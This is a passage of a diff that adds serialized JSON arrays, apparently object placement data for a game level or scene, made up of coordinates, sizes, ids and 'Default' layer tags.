+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22814,
+ 514,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3816,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21527,
+ 181,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3817,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21106,
+ 178,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3818,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22949,
+ 558,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3819,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21887,
+ 620,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3820,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20725,
+ 464,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3821,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20906,
+ 470,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3822,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21047,
+ 158,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3823,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20383,
+ 464,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3824,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19717,
+ 623,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3825,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19714,
+ 613,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3826,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20080,
+ 674,
+ 0,
+ 382.4701232910156,
+ 201.9481506347656,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3827,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20458,
+ 674,
+ 0,
+ 382.4701232910156,
+ 201.9481506347656,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3828,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20059,
+ 581,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3829,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20415,
+ 693,
+ 0,
+ 890,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 3830,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19493,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3831,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19585,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3832,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19677,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3833,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19677,
+ 744,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3834,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19585,
+ 744,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3835,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19493,
+ 744,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3836,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19769,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3840,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19769,
+ 744,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3841,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19861,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3842,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19861,
+ 744,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3843,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19953,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3844,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19953,
+ 744,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3845,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20382,
+ 483,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 3849,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19677,
+ 839,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3850,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19585,
+ 839,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3851,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19493,
+ 839,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3852,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19769,
+ 839,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3853,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19861,
+ 839,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3854,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19953,
+ 839,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3855,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20678,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3856,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20770,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3857,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20862,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3858,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20954,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3859,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21046,
+ 211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3860,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21046,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3861,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20044,
+ 591,
+ 0,
+ 178.8981018066406,
+ 19.72144317626953,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3862,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20383,
+ 480,
+ 0,
+ 92.81533813476562,
+ 49.44043731689453,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3863,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20816,
+ 499,
+ 0,
+ 367.4649963378906,
+ 90.43286895751953,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3864,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19408,
+ 482,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3865,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19715,
+ 507,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3866,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20071,
+ 514,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3867,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20721,
+ 365,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3868,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20814,
+ 275,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3869,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20900,
+ 362,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3870,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20675,
+ 1099,
+ 0,
+ 2461,
+ 458,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 486,
+ 3871,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21139,
+ 211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3872,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21322,
+ 211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3873,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21307,
+ 156,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3874,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21338,
+ 156,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3875,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21418,
+ 85,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3877,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21139,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3878,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21231,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3879,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21323,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3880,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21414,
+ 211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3881,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21506,
+ 211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3882,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21491,
+ 155,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3883,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21522,
+ 155,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3884,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21506,
+ 593,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3885,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21414,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3886,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21597,
+ 211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3889,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21689,
+ 211,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3890,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21691,
+ 402,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3891,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21691,
+ 497,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3892,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21691,
+ 307,
+ 0,
+ 95.91248321533203,
+ 98.14300537109375,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3893,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21506,
+ 688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3894,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21599,
+ 688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3895,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21690,
+ 688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3896,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21783,
+ 688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 3897,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22015,
+ 550,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3898,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21674,
+ 155,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3899,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21705,
+ 155,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3900,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21695,
+ 594,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3901,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22118,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3902,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22209,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3903,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22301,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3904,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22393,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3905,
+ [],
